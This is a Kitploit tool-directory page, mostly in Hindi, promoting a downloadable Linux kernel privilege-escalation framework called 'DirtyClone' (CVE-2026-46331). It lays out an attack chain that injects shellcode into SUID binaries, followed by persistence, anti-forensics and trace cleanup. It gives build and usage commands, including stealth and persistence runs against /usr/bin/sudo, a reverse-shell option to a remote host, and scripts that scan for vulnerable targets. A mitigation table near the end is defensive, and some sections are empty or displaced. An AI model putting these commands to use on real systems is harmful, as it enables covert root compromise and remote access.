Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
dirtyclone-exploit — CVE-2026-46331 — लिनक्स कर्नेल स्थानीय विशेषाधिकार वृद्धि TC pedit + IPsec TEE पेज कैश भ्रष्टाचार · प्रभावित कर्नेल: ≤ 6.12.9 | Kitploit
उपकरण/GitHubGitHub/vulnquest58/dirtyclone-exploit
विशेषाधिकार वृद्धिस्थायित्व तंत्रभेद्यता विश्लेषणशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubvulnquest58/dirtyclone-exploit

dirtyclone-exploit

CVE-2026-46331 — लिनक्स कर्नेल स्थानीय विशेषाधिकार वृद्धि TC pedit + IPsec TEE पेज कैश भ्रष्टाचार · प्रभावित कर्नेल: ≤ 6.12.9

5132 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

DirtyClone Exploit Framework

CVE-2026-46331 — Linux कर्नेल स्थानीय विशेषाधिकार वृद्धि (Local Privilege Escalation) TC pedit + IPsec TEE पेज कैश क्षति · प्रभावित कर्नेल: ≤ 6.12.9

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║   ____  _      _         ____ _                              ║
║  |  _ \(_)_ __| |_ _   _/ ___| | ___  _ __   ___           ║
║  | | | | | '__| __| | | | |   | |/ _ \| '_ \ / _ \        ║
║  | |_| | | |  | |_| |_| | |___| | (_) | | | |  __/        ║
║  |____/|_|_|   \__|_, |\____|_|\___/|_| |_|\___|           ║
║                    |___/                                     ║
╠═══════════════════════════════════════════════════════════════╣
║  CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY  ║
╚═══════════════════════════════════════════════════════════════╝

License: MIT CVE Kernel Language


⚠️ केवल शैक्षिक और अनुसंधान प्रयोजनों के लिए इस फ्रेमवर्क का उपयोग केवल अलग-थलग प्रयोगशाला वातावरण (isolated lab environments) में करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। अनधिकृत उपयोग अवैध और अनैतिक है।


📋 विषय-सूची

  • भेद्यता अवलोकन
  • आक्रमण श्रृंखला
  • प्रोजेक्ट संरचना
  • आवश्यकताएँ
  • निर्माण और स्थापना
  • उपयोग
  • पायथन मॉड्यूल
  • रक्षात्मक शमन
  • समयरेखा
  • संदर्भ

🔬 भेद्यता अवलोकन

CVE-2026-46331 Linux कर्नेल (≤ 6.12.9) में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो TC (cls_act) pedit क्रिया और IPsec TEE-आधारित पैकेट प्रतिलिपि के बीच प्रतिस्पर्धा स्थिति (race condition) के कारण उत्पन्न होती है।

मूल कारण

जब कोई पैकेट TC egress पथ से pedit क्रिया के साथ गुजरता है जो IHL = 15 सेट करती है, तो कर्नेल का IPsec सबसिस्टम एक विकृत पैकेट प्राप्त करता है जहाँ परिकलित IP पेलोड ऑफसेट वास्तविक पैकेट सीमाओं से अधिक होता है। समवर्ती sendfile(2) संचालनों के अंतर्गत, यह बेमेल एक अविशेषाधिकृत उपयोगकर्ता (user namespace के अंदर CAP_NET_ADMIN के साथ) को मनमानी फ़ाइलों — जिनमें SUID बाइनरी भी शामिल हैं — के केवल-पठनीय पेज कैश प्रविष्टियों को दूषित करने की अनुमति देता है।

प्रभाव


🔗 आक्रमण श्रृंखला

root@kitploit:~
Unprivileged User (UID=1000)
         │
         ▼
[1] Reconnaissance
    ├─ Kernel version check
    ├─ userns availability
    └─ Target binary profiling
         │
         ▼
[2] Namespace Bypass
    ├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    ├─ AppArmor profile hopping (fallback)
    └─ CAP_NET_ADMIN acquired
         │
         ▼
[3] Network Infrastructure
    ├─ clsact qdisc on lo
    ├─ pedit filter (IHL=15)
    └─ IPsec ESP + TEE
         │
         ▼
[4] Page Cache Corruption
    ├─ sendfile → pedit trigger
    ├─ Page cache entry corrupted
    └─ Shellcode written to read-only binary
         │
         ▼
[5] Privilege Escalation
    └─ execve(SUID binary) → root shell
         │
         ▼
[6-8] Post-Exploitation
    ├─ Persistence (6 mechanisms)
    ├─ Evasion / Anti-Forensics
    └─ Trace cleanup
         │
         ▼
    🎯 ROOT SHELL (UID=0 EUID=0)

📁 प्रोजेक्ट संरचना

root@kitploit:~
dirtyclone-exploit/
├── Makefile                          # Build system
├── README.md                         # This file
├── LICENSE                           # MIT License
│
├── include/
│   ├── exploit.h                     # Core types, flags, prototypes
│   ├── packet_engine.h               # Packet crafting engine API
│   ├── memory_ops.h                  # Page cache corruption API
│   └── persistence.h                 # Persistence mechanism API
│
├── src/
│   ├── main.c                        # Framework entry point
│   ├── stage_env_analysis.c          # Phase 1: Reconnaissance
│   ├── stage_namespace_bypass.c      # Phase 2: userns bypass
│   ├── stage_network_setup.c         # Phase 3: TC/IPsec setup
│   ├── stage_page_cache_corrupt.c    # Phase 4: Core exploit
│   ├── stage_privilege_escalation.c  # Phase 5: LPE
│   ├── stage_persistence.c           # Phase 6: Persistence
│   ├── stage_evasion.c               # Phase 7: Anti-forensics
│   ├── stage_cleanup.c               # Phase 8: Trace removal
│   ├── memory_ops.c                  # Page cache primitives
│   ├── packet_engine.c               # Raw packet crafting
│   └── persistence.c                 # Persistence implementations
│
├── modules/
│   ├── packet_craft.py               # Python packet crafter (Scapy)
│   └── exploit_analyzer.py           # Pre-exploit analysis tool
│
├── scripts/
│   ├── setup_env.sh                  # Dependency install + build
│   ├── cleanup.sh                    # System cleanup
│   └── detect_targets.sh             # Vulnerable binary scanner
│
└── payloads/
    └── README.md                     # Payload directory info

⚙️ आवश्यकताएँ

संकलन-समय

  • gcc ≥ 10
  • make
  • libcap-dev / libcap-devel

रनटाइम (Linux लक्ष्य)

  • कर्नेल ≤ 6.12.9
  • iproute2 (tc, ip)
  • iptables
  • अविशेषाधिकृत उपयोगकर्ता नेमस्पेस सक्षम

पायथन मॉड्यूल (वैकल्पिक)

root@kitploit:~
pip install scapy

🔧 निर्माण और स्थापना

root@kitploit:~
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh

# Manual build
make all

# Debug build
make debug

# Clean
make clean

🚀 उपयोग

root@kitploit:~
# Show help
./bin/dirtyclone --help

# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test

# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone

# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Detect vulnerable targets first
bash scripts/detect_targets.sh

🐍 पायथन मॉड्यूल

exploit_analyzer.py — शोषण-पूर्व टोही

root@kitploit:~
# Analyze default target
python3 modules/exploit_analyzer.py

# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# JSON output for automation
python3 modules/exploit_analyzer.py --json

# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py — कच्चा पैकेट ट्रिगर

root@kitploit:~
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20

🛡️ रक्षात्मक शमन


📅 समयरेखा

तिथिघटना
2026-01-15

📚 संदर्भ

  • CVE-2026-46331 NVD प्रविष्टि
  • Linux कर्नेल TC सबसिस्टम दस्तावेज़
  • IPsec TEE कार्यान्वयन
  • उपयोगकर्ता नेमस्पेस सुरक्षा
  • DirtyClone तकनीकी लेख

👤 लेखक

VulnQuest · सुरक्षा अनुसंधान

  • 🌐 vulnquest58.github.io
  • 🐛 बग बाउंटी पोर्टफोलियो

यह रिपॉजिटरी केवल शैक्षिक प्रयोजनों के लिए प्रदान की गई है। सभी शोषण कोड अधिकृत प्रयोगशाला वातावरण में उपयोग के लिए है।

टूल डाउनलोड करें
गुणमान
CVSS 3.1 स्कोर8.8 (उच्च)
आक्रमण वेक्टरस्थानीय
आवश्यक विशेषाधिकारनिम्न (अविशेषाधिकृत उपयोगकर्ता)
प्रभावरूट शेल (UID=0 EUID=0)
प्रभावित संस्करणLinux कर्नेल ≤ 6.12.9
पैच किया गया संस्करण6.12.10
पैच कमिटa3f4d1c8...
शमन उपायकमांड / क्रिया
कर्नेल अपडेट करें≥ 6.12.10 पर अपग्रेड करें (प्राथमिक सुधार)
उपयोगकर्ता नेमस्पेस अक्षम करेंecho 0 > /proc/sys/kernel/unprivileged_userns_clone
AppArmor प्रतिबंधuserns प्रतिबंध प्रोफ़ाइल के साथ apparmor सक्षम करें
TC pedit ऑडिट करेंauditctl -a always,exit -F arch=b64 -S unshare
फ़ाइल अखंडताSUID बाइनरी पर AIDE या Tripwire तैनात करें
Seccomp फ़िल्टरउत्पादन कंटेनरों में unshare() को ब्लॉक करें
कर्नेल ऑडिट के दौरान भेद्यता की खोज
2026-02-03[email protected] को रिपोर्ट की गई
2026-03-28पैच प्रतिबद्ध (6.12.10)
2026-06-01सार्वजनिक प्रकटीकरण (90-दिन की समय सीमा)
2026-06-27पूर्ण PoC जारी